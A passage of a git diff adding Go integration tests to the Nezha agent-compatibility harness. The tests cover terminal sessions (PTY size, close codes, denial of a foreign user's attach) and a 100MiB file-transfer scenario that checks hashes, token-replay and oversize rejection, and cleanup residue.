client.RESTRequest[terminalUserRequest]{Method: http.MethodPost, Path: "/api/v1/user", Body: &terminalUserRequest{Role: 1, Username: username, Password: password}}) + if err != nil { + return nil, func() error { return nil }, err + } + cleanup := func() error { + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 10*time.Second) + defer cancel() + _, cleanupErr := client.DoREST[[]uint64, struct{}](cleanupContext, admin, client.RESTRequest[[]uint64]{Method: http.MethodPost, Path: "/api/v1/batch-delete/user", Body: &[]uint64{userID}}) + return cleanupErr + } + member, err := client.New(client.Config{BaseURL: dashboardInstance.URL()}) + if err != nil { + return nil, func() error { return nil }, errors.Join(err, cleanup()) + } + if _, err := member.Login(ctx, client.LoginRequest{Username: username, Password: password}); err != nil { + return nil, func() error { return nil }, errors.Join(err, cleanup()) + } + pat, err := client.DoREST[terminalPATRequest, terminalPATResponse](ctx, member, client.RESTRequest[terminalPATRequest]{Method: http.MethodPost, Path: "/api/v1/api-tokens", Body: &terminalPATRequest{Name: "terminal-foreign", Scopes: []string{terminalAttachPATScope}}}) + if err != nil { + return nil, func() error { return nil }, errors.Join(err, cleanup()) + } + foreign, err := dashboardInstance.AuthenticatedClient(pat.Token) + if err != nil { + return nil, func() error { return nil }, errors.Join(err, cleanup()) + } + return foreign, cleanup, nil +} + +func isWebSocketDenied(err error) bool { + var handshakeError *client.WebSocketHandshakeError + return errors.As(err, &handshakeError) && (handshakeError.StatusCode == http.StatusForbidden || webSocketFailureContains(err, "permission denied") || webSocketFailureContains(err, "ApiErrorUnauthorized")) +} + +func webSocketFailureContains(err error, text string) bool { + var handshakeError *client.WebSocketHandshakeError + return errors.As(err, &handshakeError) && strings.Contains(handshakeError.Message, text) +} diff --git a/integration/agentcompat/internal/scenario/terminal_test.go b/integration/agentcompat/internal/scenario/terminal_test.go new file mode 100644 index 00000000..d492a1b2 --- /dev/null +++ b/integration/agentcompat/internal/scenario/terminal_test.go @@ -0,0 +1,133 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "errors" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +type terminalDeadlineProbe struct { + writeDeadline time.Time +} + +func (probe *terminalDeadlineProbe) WriteFrame(ctx context.Context, _ client.Frame) error { + probe.writeDeadline, _ = ctx.Deadline() + return context.DeadlineExceeded +} + +func (*terminalDeadlineProbe) ReadFrame(context.Context) (client.Frame, error) { + return client.Frame{}, errors.New("read must not run after blocked write") +} + +func TestTerminalOutputReader_ReturnsMarkerAndCloseEvidence(t *testing.T) { + frames := make(chan client.Frame, 1) + frames <- client.Frame{Type: client.FrameBinary, Payload: []byte("shell prompt\r\ncompat-size=43 132\r\ncompat-terminal\r\n")} + close(frames) + + result, err := readTerminalOutput(context.Background(), terminalOutputReadInput{ExitSentAt: time.Unix(0, 0), Now: func() time.Time { return time.Unix(0, int64(time.Second)) }}, func(context.Context) (client.Frame, error) { + frame, ok := <-frames + if !ok { + return client.Frame{}, &client.WebSocketCloseError{Code: 1000, Text: "normal closure"} + } + return frame, nil + }) + + require.NoError(t, err) + require.True(t, result.MarkerObserved) + require.True(t, result.StreamClosed) + require.Equal(t, 1000, result.CloseCode) + require.Equal(t, time.Second, result.CloseElapsed) + require.Contains(t, result.Output, "compat-terminal") +} + +func TestTerminalOutputReader_ObservesRequestedPTYSize(t *testing.T) { + frames := make(chan client.Frame, 1) + frames <- client.Frame{Type: client.FrameBinary, Payload: []byte("compat-size=43 132\r\ncompat-terminal\r\n")} + close(frames) + + result, err := readTerminalOutput(context.Background(), terminalOutputReadInput{ExitSentAt: time.Unix(0, 0), Now: func() time.Time { return time.Unix(0, int64(time.Second)) }}, func(context.Context) (client.Frame, error) { + frame, ok := <-frames + if !ok { + return client.Frame{}, &client.WebSocketCloseError{Code: 1000, Text: "normal closure"} + } + return frame, nil + }) + + require.NoError(t, err) + require.True(t, result.SizeObserved) + require.Equal(t, uint32(43), result.Rows) + require.Equal(t, uint32(132), result.Cols) +} + +func TestTerminalCommand_ReportsSizeBeforeMarkerAndExit(t *testing.T) { + require.Equal(t, "printf 'compat-size='; stty size; printf 'compat-terminal\\n'; exit\n", terminalCommand) +} + +func TestTerminalCloseContract_AllowsAgentTimeoutPlusHarnessMargin(t *testing.T) { + require.True(t, terminalCloseWithinContract(terminalShutdownContract+terminalShutdownHarnessMargin)) + require.False(t, terminalCloseWithinContract(terminalShutdownContract+terminalShutdownHarnessMargin+time.Nanosecond)) +} + +func TestTerminalExit_UsesOneAbsoluteDeadlineForCommandWriteAndCloseRead(t *testing.T) { + exitSentAt := time.Unix(100, 0) + probe := &terminalDeadlineProbe{} + + _, err := executeTerminalExit(context.Background(), terminalExitInput{ExitSentAt: exitSentAt, Now: func() time.Time { return exitSentAt }}, probe) + + require.ErrorIs(t, err, context.DeadlineExceeded) + require.Equal(t, exitSentAt.Add(terminalShutdownContract+terminalShutdownHarnessMargin), probe.writeDeadline) +} + +func TestForeignTerminalPATScopes_UseMinimumAttachScope(t *testing.T) { + require.Equal(t, "nezha:server:exec", terminalAttachPATScope) +} + +func TestTerminalOutputReader_RejectsNonCloseErrorAfterMarker(t *testing.T) { + reads := 0 + + result, err := readTerminalOutput(context.Background(), terminalOutputReadInput{ExitSentAt: time.Unix(0, 0), Now: func() time.Time { return time.Unix(0, int64(time.Second)) }}, func(context.Context) (client.Frame, error) { + reads++ + if reads == 1 { + return client.Frame{Type: client.FrameBinary, Payload: []byte("compat-size=43 132\r\ncompat-terminal\r\n")}, nil + } + return client.Frame{}, context.DeadlineExceeded + }) + + require.ErrorIs(t, err, context.DeadlineExceeded) + require.True(t, result.MarkerObserved) + require.False(t, result.StreamClosed) +} + +func TestTerminalOutputReader_RejectsProtocolCloseAfterMarker(t *testing.T) { + reads := 0 + + result, err := readTerminalOutput(context.Background(), terminalOutputReadInput{ExitSentAt: time.Unix(0, 0), Now: func() time.Time { return time.Unix(0, int64(time.Second)) }}, func(context.Context) (client.Frame, error) { + reads++ + if reads == 1 { + return client.Frame{Type: client.FrameBinary, Payload: []byte("compat-size=43 132\r\ncompat-terminal\r\n")}, nil + } + return client.Frame{}, &client.WebSocketCloseError{Code: 1002, Text: "protocol error"} + }) + + var closeError *client.WebSocketCloseError + require.ErrorAs(t, err, &closeError) + require.Equal(t, 1002, result.CloseCode) + require.True(t, result.MarkerObserved) + require.False(t, result.StreamClosed) +} + +func TestTerminalResizeFrame_UsesAgentWireContract(t *testing.T) { + frame, err := terminalResizeFrame(132, 43) + + require.NoError(t, err) + require.Equal(t, client.FrameBinary, frame.Type) + require.Equal(t, byte(1), frame.Payload[0]) + require.JSONEq(t, `{"Cols":132,"Rows":43}`, string(frame.Payload[1:])) +} diff --git a/integration/agentcompat/internal/scenario/transfer.go b/integration/agentcompat/internal/scenario/transfer.go new file mode 100644 index 00000000..5e9345c2 --- /dev/null +++ b/integration/agentcompat/internal/scenario/transfer.go @@ -0,0 +1,171 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "os" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +const transferScenarioName = "transfer-100mib" + +var ErrTransferHashFault = errors.New("transfer scenario: injected hash mismatch") + +type TransferInput struct { + Paths contract.Paths + Fault contract.Fault +} + +type Transfer struct{} + +func (scenario Transfer) Run(ctx context.Context, input TransferInput) (Result, error) { + result, _, err := scenario.RunWithEvidence(ctx, input) + return result, err +} + +func (Transfer) RunWithEvidence(ctx context.Context, input TransferInput) (result Result, transferEvidence TransferEvidence, runErr error) { + assertions := NewAssertionSet() + dashboardInstance, err := dashboard.Start(ctx, dashboard.StartConfig{SourceDir: input.Paths.NezhaSource().String(), ReceiptGate: true}) + if err != nil { + result, runErr = transferFinish(assertions, err) + return result, transferEvidence, runErr + } + var agentInstance *agent.Agent + var agentWorkspaceRoot string + dashboardWorkspaceRoot := dashboardInstance.WorkspaceRoot() + defer func() { + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 30*time.Second) + defer cancel() + cleanupErr := stopTransferProcesses(cleanupContext, agentInstance, dashboardInstance) + residueErr := transferWorkspaceResidue(agentWorkspaceRoot, dashboardWorkspaceRoot) + cleanupErr = errors.Join(cleanupErr, residueErr) + assertions.Record("process listener and workspace cleanup completed", cleanupErr == nil, errorText(cleanupErr)) + result.CleanupOK = cleanupErr == nil + if cleanupErr != nil { + result, runErr = transferFinish(assertions, errors.Join(runErr, cleanupErr)) + result.CleanupOK = false + } else { + result.Assertions = assertions.Results() + } + }() + + agentInstance, err = agent.Start(ctx, agent.AgentStartConfig{ + SourceDir: input.Paths.AgentSource().String(), + Endpoint: dashboardInstance.Endpoint(), + Secret: dashboardInstance.AgentSecret(), + UUID: "00000000-0000-0000-0000-000000000216", + }) + if err != nil { + result, runErr = transferFinish(assertions, err) + return result, transferEvidence, runErr + } + agentWorkspaceRoot = agentInstance.WorkspaceRoot() + if err := dashboardInstance.WaitForReceiptAccepted(ctx); err != nil { + result, runErr = transferFinish(assertions, err) + return result, transferEvidence, runErr + } + if err := dashboardInstance.ReleaseReceipt(ctx); err != nil { + result, runErr = transferFinish(assertions, err) + return result, transferEvidence, runErr + } + readiness, err := agentInstance.WaitReady(ctx, dashboardInstance) + if err != nil { + result, runErr = transferFinish(assertions, err) + return result, transferEvidence, runErr + } + serverID, err := transferServerID(ctx, dashboardInstance.Clients().MCP, readiness.UUID) + if err != nil { + result, runErr = transferFinish(assertions, err) + return result, transferEvidence, runErr + } + root, err := fixture.NewAgentRoot(agentInstance.WorkspaceRoot(), "transfer-files") + if err != nil { + result, runErr = transferFinish(assertions, err) + return result, transferEvidence, runErr + } + sentinels, err := newTransferSentinels(root, agentInstance.WorkspaceRoot()) + if err != nil { + result, runErr = transferFinish(assertions, err) + return result, transferEvidence, runErr + } + defer sentinels.close() + execution := transferExecution{ + client: dashboardInstance.Clients().MCP, + serverID: serverID, + root: root, + residueScope: transferResidueScope{AgentRoot: agentInstance.WorkspaceRoot(), DashboardPID: dashboardInstance.PID()}, + sentinels: sentinels, + } + transferEvidence, err = execution.run(ctx, assertions, input.Fault) + result, runErr = transferFinish(assertions, err) + return result, transferEvidence, runErr +} + +func transferWorkspaceResidue(workspaceRoots ...string) error { + var residueErr error + for _, workspaceRoot := range workspaceRoots { + if workspaceRoot == "" { + continue + } + if _, err := os.Stat(workspaceRoot); err == nil { + residueErr = errors.Join(residueErr, fmt.Errorf("workspace remains: %s", workspaceRoot)) + } else if !errors.Is(err, os.ErrNotExist) { + residueErr = errors.Join(residueErr, fmt.Errorf("inspect workspace %s: %w", workspaceRoot, err)) + } + } + return residueErr +} + +func stopTransferProcesses(ctx context.Context, agentInstance *agent.Agent, dashboardInstance *dashboard.Dashboard) error { + var cleanupErr error + if agentInstance != nil { + stopErr := agentInstance.Stop(ctx) + receipt := agentInstance.CleanupReceipt() + if stopErr != nil || !receipt.Passed || receipt.Forced { + cleanupErr = errors.Join(cleanupErr, stopErr, errors.New("agent cleanup receipt failed")) + } + } + stopErr := dashboardInstance.Stop(ctx) + receipt := dashboardInstance.CleanupReceipt() + if stopErr != nil || !receipt.Passed || receipt.Forced { + cleanupErr = errors.Join(cleanupErr, stopErr, errors.New("dashboard cleanup receipt failed")) + } + return cleanupErr +} + +func transferFinish(assertions *AssertionSet, runErr error) (Result, error) { + for _, assertion := range assertions.assertions { + if !assertion.Passed && runErr == nil { + runErr = errors.New(assertion.Name + ": " + assertion.Details) + } + } + result := Result{Name: transferScenarioName, Passed: runErr == nil, Assertions: assertions.Results()} + if runErr != nil { + result.Error = errorText(runErr) + } + return result, runErr +} + +func transferServerID(ctx context.Context, mcpClient *client.Client, uuid string) (uint64, error) { + servers, err := client.CallTool[client.ServerListArguments, client.ServerListResult](ctx, mcpClient, client.ToolCall[client.ServerListArguments]{ + Name: "server.list", Arguments: client.ServerListArguments{OnlineOnly: true}, + }) + if err != nil { + return 0, fmt.Errorf("list transfer Agents: %w", err) + } + for _, server := range servers.StructuredContent.Servers { + if server.UUID == uuid && server.Online { + return server.ID, nil + } + } + return 0, errors.New("online transfer Agent not found") +} diff --git a/integration/agentcompat/internal/scenario/transfer_evidence.go b/integration/agentcompat/internal/scenario/transfer_evidence.go new file mode 100644 index 00000000..cd6da3b3 --- /dev/null +++ b/integration/agentcompat/internal/scenario/transfer_evidence.go @@ -0,0 +1,69 @@ +//go:build linux + +package scenario + +import ( + "errors" + "fmt" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +var ( + ErrTransferEvidenceSizeMismatch = errors.New("transfer evidence size mismatch") + ErrTransferEvidenceHashMismatch = errors.New("transfer evidence hash mismatch") + ErrTransferEvidenceHeapBudget = errors.New("transfer evidence retained heap budget exceeded") + ErrTransferEvidenceMeasurement = errors.New("transfer evidence measurement missing") + ErrTransferEvidenceContract = errors.New("transfer evidence contract assertion failed") +) + +type TransferEvidence struct { + WarmupUploadBytes uint64 `json:"warmup_upload_bytes"` + WarmupDownloadBytes uint64 `json:"warmup_download_bytes"` + WarmupSHA256 string `json:"warmup_sha256"` + WarmupDuration time.Duration `json:"warmup_duration"` + WarmupDeadlineRemaining time.Duration `json:"warmup_deadline_remaining"` + WarmupQuiescent bool `json:"warmup_quiescent"` + UploadBytes uint64 `json:"upload_bytes"` + DownloadBytes uint64 `json:"download_bytes"` + UploadSHA256 string `json:"upload_sha256"` + DownloadSHA256 string `json:"download_sha256"` + UploadChunks uint64 `json:"upload_chunks"` + DownloadChunks uint64 `json:"download_chunks"` + UploadDuration time.Duration `json:"upload_duration"` + DownloadDuration time.Duration `json:"download_duration"` + RetainedHeapBytes uint64 `json:"retained_heap_bytes"` + Mode string `json:"mode"` + CreateDirs bool `json:"create_dirs"` + UploadReplayRejected bool `json:"upload_replay_rejected"` + DownloadReplayRejected bool `json:"download_replay_rejected"` + OversizeRejected bool `json:"oversize_rejected"` + AgentTempResidue int `json:"agent_temp_residue"` + DashboardSpoolResidue int `json:"dashboard_spool_residue"` + OutsideRootSentinelsUnchanged bool `json:"outside_root_sentinels_unchanged"` +} + +func (e TransferEvidence) Validate() error { + var validationErr error + if e.WarmupUploadBytes != transferWarmupBytes || e.WarmupDownloadBytes != transferWarmupBytes || e.WarmupSHA256 == "" || e.WarmupDuration <= 0 || e.WarmupDeadlineRemaining <= 0 || !e.WarmupQuiescent { + validationErr = errors.Join(validationErr, fmt.Errorf("%w: warmup_upload=%d warmup_download=%d warmup_sha=%q warmup_duration=%s warmup_deadline=%s warmup_quiescent=%t", ErrTransferEvidenceMeasurement, e.WarmupUploadBytes, e.WarmupDownloadBytes, e.WarmupSHA256, e.WarmupDuration, e.WarmupDeadlineRemaining, e.WarmupQuiescent)) + } + if e.UploadBytes != contract.TransferBytes || e.DownloadBytes != contract.TransferBytes { + validationErr = errors.Join(validationErr, fmt.Errorf("%w: upload=%d download=%d want=%d", ErrTransferEvidenceSizeMismatch, e.UploadBytes, e.DownloadBytes, contract.TransferBytes)) + } + if e.UploadSHA256 == "" || e.DownloadSHA256 == "" || !strings.EqualFold(e.UploadSHA256, e.DownloadSHA256) { + validationErr = errors.Join(validationErr, fmt.Errorf("%w: upload=%q download=%q", ErrTransferEvidenceHashMismatch, e.UploadSHA256, e.DownloadSHA256)) + } + if e.UploadChunks == 0 || e.DownloadChunks == 0 || e.UploadDuration <= 0 || e.DownloadDuration <= 0 { + validationErr = errors.Join(validationErr, fmt.Errorf("%w: upload_chunks=%d download_chunks=%d upload_duration=%s download_duration=%s", ErrTransferEvidenceMeasurement, e.UploadChunks, e.DownloadChunks, e.UploadDuration, e.DownloadDuration)) + } + if e.RetainedHeapBytes > contract.TransferHeapBytes { + validationErr = errors.Join(validationErr, fmt.Errorf("%w: retained=%d limit=%d", ErrTransferEvidenceHeapBudget, e.RetainedHeapBytes, contract.TransferHeapBytes)) + } + if e.Mode != "0640" || !e.CreateDirs || !e.UploadReplayRejected || !e.DownloadReplayRejected || !e.OversizeRejected || e.AgentTempResidue != 0 || e.DashboardSpoolResidue != 0 || !e.OutsideRootSentinelsUnchanged { + validationErr = errors.Join(validationErr, fmt.Errorf("%w: mode=%q create_dirs=%t upload_replay=%t download_replay=%t oversize=%t agent_temp=%d dashboard_spool=%d sentinels=%t", ErrTransferEvidenceContract, e.Mode, e.CreateDirs, e.UploadReplayRejected, e.DownloadReplayRejected, e.OversizeRejected, e.AgentTempResidue, e.DashboardSpoolResidue, e.OutsideRootSentinelsUnchanged)) + } + return validationErr +} diff --git a/integration/agentcompat/internal/scenario/transfer_execution.go b/integration/agentcompat/internal/scenario/transfer_execution.go new file mode 100644 index 00000000..5d29a2c8 --- /dev/null +++ b/integration/agentcompat/internal/scenario/transfer_execution.go @@ -0,0 +1,157 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "os" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +type transferExecution struct { + client *client.Client + serverID uint64 + root fixture.AgentRoot + residueScope transferResidueScope + sentinels transferSentinels +} + +func (execution transferExecution) run(ctx context.Context, assertions *AssertionSet, fault contract.Fault) (TransferEvidence, error) { + payload, err := fixture.NewPayload(contract.DefaultSeed, contract.TransferBytes) + if err != nil { + return TransferEvidence{}, err + } + stableDigest, err := fixture.VerifyPayload(payload.Reader(), contract.TransferBytes) + if err != nil { + return TransferEvidence{}, err + } + warmupEvidence, err := execution.runWarmup(ctx) + if err != nil { + return TransferEvidence{}, fmt.Errorf("transfer warm-up: %w", err) + } + quiescenceDeadline, err := confirmTransferQuiescence(ctx, execution.residueScope) + if err != nil { + return TransferEvidence{}, err + } + warmupEvidence.deadline = quiescenceDeadline + assertions.Record("small real upload and download warm-up precedes event and deadline quiescence", warmupEvidence.valid(), fmt.Sprintf("completion_event=download_response upload_bytes=%d download_bytes=%d sha256=%s duration=%s deadline_remaining=%s", warmupEvidence.uploadBytes, warmupEvidence.downloadBytes, warmupEvidence.sha256, warmupEvidence.duration, warmupEvidence.deadline)) + + uploadPath, err := execution.root.Path("measured/nested/upload.bin") + if err != nil { + return TransferEvidence{}, err + } + heapProbe := fixture.NewRetainedHeapProbe() + uploadEvidence, uploadURL, uploadErr := execution.upload(ctx, uploadPath, payload, stableDigest, fault) + if fault.String() == "transfer-hash" { + return execution.finishHashFault(ctx, assertions, uploadPath, warmupEvidence, uploadErr) + } + if uploadErr != nil { + return TransferEvidence{}, uploadErr + } + assertions.Record("exact 100MiB upload has size mode SHA and create_dirs", uploadEvidence.validUpload(stableDigest), uploadEvidence.details()) + + downloadEvidence, downloadURL, downloadErr := execution.download(ctx, uploadPath) + if downloadErr != nil { + return TransferEvidence{}, downloadErr + } + assertions.Record("exact 100MiB download has equal nonempty SHA", downloadEvidence.validDownload(stableDigest), downloadEvidence.details()) + retainedHeapBytes := heapProbe.RetainedBytes() + + uploadReplayErr := execution.replayUpload(ctx, uploadURL) + uploadReplayRejected := isTransferHTTPError(uploadReplayErr, 401, "already-used") + assertions.Record("upload token replay is typed unauthorized", uploadReplayRejected, errorText(uploadReplayErr)) + + downloadReplayErr := execution.replayDownload(ctx, downloadURL) + downloadReplayRejected := isTransferHTTPError(downloadReplayErr, 401, "") + assertions.Record("download token replay is typed unauthorized", downloadReplayRejected, errorText(downloadReplayErr)) + oversizeErr := execution.probeOversize(ctx) + oversizeRejected := isTransferHTTPError(oversizeErr, 413, "transfer cap") + assertions.Record("100MiB plus one upload is typed too large", oversizeRejected, errorText(oversizeErr)) + + if _, err := confirmTransferQuiescence(ctx, execution.residueScope); err != nil { + return TransferEvidence{}, err + } + residue, err := transferResidue(execution.residueScope) + if err != nil { + return TransferEvidence{}, err + } + agentResidue, dashboardResidue := countTransferResidue(residue) + assertions.Record("Dashboard spool and Agent temp residue are zero", agentResidue == 0 && dashboardResidue == 0, fmt.Sprintf("agent_temp=%d dashboard_spool=%d", agentResidue, dashboardResidue)) + sentinelsUnchanged, sentinelErr := execution.sentinels.unchanged() + assertions.Record("outside-root sentinels remain unchanged", sentinelErr == nil && sentinelsUnchanged, errorText(sentinelErr)) + + evidence := TransferEvidence{ + WarmupUploadBytes: warmupEvidence.uploadBytes, WarmupDownloadBytes: warmupEvidence.downloadBytes, + WarmupSHA256: warmupEvidence.sha256, WarmupDuration: warmupEvidence.duration, + WarmupDeadlineRemaining: warmupEvidence.deadline, WarmupQuiescent: true, + UploadBytes: uploadEvidence.bytes, DownloadBytes: downloadEvidence.bytes, + UploadSHA256: uploadEvidence.sha256, DownloadSHA256: downloadEvidence.sha256, + UploadChunks: uploadEvidence.chunks, DownloadChunks: downloadEvidence.chunks, + UploadDuration: uploadEvidence.duration, DownloadDuration: downloadEvidence.duration, + RetainedHeapBytes: retainedHeapBytes, Mode: "0640", CreateDirs: true, + UploadReplayRejected: uploadReplayRejected, DownloadReplayRejected: downloadReplayRejected, OversizeRejected: oversizeRejected, + AgentTempResidue: agentResidue, DashboardSpoolResidue: dashboardResidue, + OutsideRootSentinelsUnchanged: sentinelsUnchanged, + } + heapErr := evidence.Validate() + assertions.Record("retained live heap stays within 16MiB", !errors.Is(heapErr, ErrTransferEvidenceHeapBudget), fmt.Sprintf("retained_heap_bytes=%d", evidence.RetainedHeapBytes)) + if err := evidence.Validate(); err != nil { + return evidence, err + } + return evidence, nil +} + +func (execution transferExecution) finishHashFault(ctx context.Context, assertions *AssertionSet, uploadPath fixture.AgentPath, warmup transferWarmupEvidence, uploadErr error) (TransferEvidence, error) { + assertions.Record("transfer-hash rejects upload with typed 502", isTransferHTTPError(uploadErr, 502, "sha256 mismatch"), errorText(uploadErr)) + _, statErr := os.Stat(uploadPath.String()) + assertions.Record("transfer-hash leaves target absent", errors.Is(statErr, os.ErrNotExist), errorText(statErr)) + if _, err := confirmTransferQuiescence(ctx, execution.residueScope); err != nil { + return TransferEvidence{}, err + } + residue, err := transferResidue(execution.residueScope) + if err != nil { + return TransferEvidence{}, err + } + agentResidue, dashboardResidue := countTransferResidue(residue) + assertions.Record("Dashboard spool and Agent temp residue are zero", agentResidue == 0 && dashboardResidue == 0, fmt.Sprintf("agent_temp=%d dashboard_spool=%d", agentResidue, dashboardResidue)) + unchanged, sentinelErr := execution.sentinels.unchanged() + assertions.Record("outside-root sentinels remain unchanged", sentinelErr == nil && unchanged, errorText(sentinelErr)) + return TransferEvidence{ + WarmupUploadBytes: warmup.uploadBytes, WarmupDownloadBytes: warmup.downloadBytes, + WarmupSHA256: warmup.sha256, WarmupDuration: warmup.duration, + WarmupDeadlineRemaining: warmup.deadline, WarmupQuiescent: true, + AgentTempResidue: agentResidue, DashboardSpoolResidue: dashboardResidue, OutsideRootSentinelsUnchanged: unchanged, + }, ErrTransferHashFault +} + +func isTransferHTTPError(err error, status int, text string) bool { + var httpError *client.HTTPError + return errors.As(err, &httpError) && httpError.StatusCode == status && (text == "" || strings.Contains(httpError.Message, text)) +} + +type transferPathEvidence struct { + bytes uint64 + sha256 string + chunks uint64 + duration time.Duration + mode os.FileMode +} + +func (evidence transferPathEvidence) details() string { + return fmt.Sprintf("bytes=%d sha256=%s chunks=%d duration=%s mode=%04o", evidence.bytes, evidence.sha256, evidence.chunks, evidence.duration, evidence.mode.Perm()) +} + +func (evidence transferPathEvidence) validUpload(want fixture.PayloadDigest) bool { + return evidence.validDownload(want) && evidence.mode.Perm() == 0o640 +} + +func (evidence transferPathEvidence) validDownload(want fixture.PayloadDigest) bool { + return evidence.bytes == contract.TransferBytes && evidence.sha256 != "" && evidence.sha256 == want.Hex() +} diff --git a/integration/agentcompat/internal/scenario/transfer_observation.go b/integration/agentcompat/internal/scenario/transfer_observation.go new file mode 100644 index 00000000..6353e4bd --- /dev/null +++ b/integration/agentcompat/internal/scenario/transfer_observation.go @@ -0,0 +1,86 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "strconv" + "strings" + "time" +) + +type transferResidueScope struct { + AgentRoot string + DashboardPID int +} + +func confirmTransferQuiescence(ctx context.Context, scope transferResidueScope) (time.Duration, error) { + deadline, bounded := ctx.Deadline() + if !bounded { + return 0, errors.New("transfer quiescence requires a context deadline") + } + select { + case <-ctx.Done(): + return 0, ctx.Err() + default: + } + residue, err := transferResidue(scope) + if err != nil { + return 0, err + } + if len(residue) > 0 { + return 0, fmt.Errorf("transfer completion left residue: %s", strings.Join(residue, ", ")) + } + remaining := time.Until(deadline) + if remaining <= 0 { + return 0, context.DeadlineExceeded + } + return remaining, nil +} + +func transferResidue(scope transferResidueScope) ([]string, error) { + var residue []string + err := filepath.WalkDir(scope.AgentRoot, func(path string, entry os.DirEntry, walkErr error) error { + if walkErr != nil { + return walkErr + } + if !entry.IsDir() && strings.HasPrefix(entry.Name(), ".mcp-xfer-") { + residue = append(residue, path) + } + return nil + }) + if err != nil && !errors.Is(err, os.ErrNotExist) { + return nil, err + } + fdDirectory := filepath.Join("/proc", strconv.Itoa(scope.DashboardPID), "fd") + entries, err := os.ReadDir(fdDirectory) + if err != nil { + return nil, fmt.Errorf("read dashboard descriptors: %w", err) + } + for _, entry := range entries { + target, readErr := os.Readlink(filepath.Join(fdDirectory, entry.Name())) + if readErr != nil { + continue + } + if strings.Contains(target, "nz-mcp-xfer-") { + residue = append(residue, target) + } + } + return residue, nil +} + +func countTransferResidue(residue []string) (agentTemp, dashboardSpool int) { + for _, path := range residue { + if strings.Contains(filepath.Base(path), ".mcp-xfer-") { + agentTemp++ + } + if strings.Contains(path, "nz-mcp-xfer-") { + dashboardSpool++ + } + } + return agentTemp, dashboardSpool +} diff --git a/integration/agentcompat/internal/scenario/transfer_operations.go b/integration/agentcompat/internal/scenario/transfer_operations.go new file mode 100644 index 00000000..6772fc88 --- /dev/null +++ b/integration/agentcompat/internal/scenario/transfer_operations.go @@ -0,0 +1,183 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "io" + "net/http" + "net/url" + "os" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +func (execution transferExecution) upload(ctx context.Context, path fixture.AgentPath, payload fixture.Payload, digest fixture.PayloadDigest, fault contract.Fault) (transferPathEvidence, client.TransferURL, error) { + transferURL, err := client.RequestUploadURL(ctx, execution.client, client.UploadURLRequest{ + ServerID: execution.serverID, Path: path.String(), TTLSeconds: 60, Mode: "0640", CreateDirs: true, + }) + if err != nil { + return transferPathEvidence{}, client.TransferURL{}, err + } + transferClient, err := clientForTransferURL(transferURL) + if err != nil { + return transferPathEvidence{}, client.TransferURL{}, err + } + defer transferClient.Close() + measured := fixture.NewMeasuredReader(payload.Reader()) + expectedSHA := digest.Hex() + if fault.String() == "transfer-hash" { + expectedSHA = strings.Repeat("0", 64) + } + started := time.Now() + result, err := transferClient.UploadTransfer(ctx, transferURL, client.UploadTransfer{ + Body: measured, ContentLength: int64(contract.TransferBytes), SHA256: expectedSHA, + }) + duration := time.Since(started) + measurement := measured.Measurement() + if err != nil { + return transferPathEvidence{bytes: measurement.Digest.Bytes, sha256: measurement.Digest.Hex(), chunks: measurement.Chunks, duration: duration}, transferURL, err + } + fileDigest, info, err := verifyUploadedTransfer(path) + if err != nil { + return transferPathEvidence{}, transferURL, err + } + if result.Size != info.Size() || result.SHA256 != fileDigest.Hex() { + return transferPathEvidence{}, transferURL, errors.New("upload result differs from Agent file") + } + return transferPathEvidence{bytes: uint64(result.Size), sha256: result.SHA256, chunks: measurement.Chunks, duration: duration, mode: info.Mode()}, transferURL, nil +} + +func verifyUploadedTransfer(path fixture.AgentPath) (digest fixture.PayloadDigest, info os.FileInfo, err error) { + file, err := os.Open(path.String()) + if err != nil { + return fixture.PayloadDigest{}, nil, fmt.Errorf("open uploaded transfer: %w", err) + } + defer func() { err = errors.Join(err, file.Close()) }() + digest, err = fixture.VerifyPayload(file, contract.TransferBytes) + if err != nil { + return fixture.PayloadDigest{}, nil, err + } + info, err = file.Stat() + if err != nil { + return fixture.PayloadDigest{}, nil, fmt.Errorf("stat uploaded transfer: %w", err) + } + return digest, info, nil +} + +func (execution transferExecution) download(ctx context.Context, path fixture.AgentPath) (transferPathEvidence, client.TransferURL, error) { + transferURL, err := client.RequestDownloadURL(ctx, execution.client, client.DownloadURLRequest{ + ServerID: execution.serverID, Path: path.String(), TTLSeconds: 60, + }) + if err != nil { + return transferPathEvidence{}, client.TransferURL{}, err + } + transferClient, err := clientForTransferURL(transferURL) + if err != nil { + return transferPathEvidence{}, client.TransferURL{}, err + } + defer transferClient.Close() + measured := fixture.NewMeasuredWriter() + started := time.Now() + written, err := transferClient.DownloadTransfer(ctx, transferURL, measured) + duration := time.Since(started) + measurement := measured.Measurement() + if err != nil { + return transferPathEvidence{}, transferURL, err + } + if written != int64(measurement.Digest.Bytes) { + return transferPathEvidence{}, transferURL, errors.New("download byte count differs from measured digest") + } + return transferPathEvidence{bytes: measurement.Digest.Bytes, sha256: measurement.Digest.Hex(), chunks: measurement.Chunks, duration: duration}, transferURL, nil +} + +func (execution transferExecution) replayUpload(ctx context.Context, transferURL client.TransferURL) error { + transferClient, err := clientForTransferURL(transferURL) + if err != nil { + return err + } + defer transferClient.Close() + payload, err := fixture.NewPayload(contract.DefaultSeed, 1) + if err != nil { + return err + } + 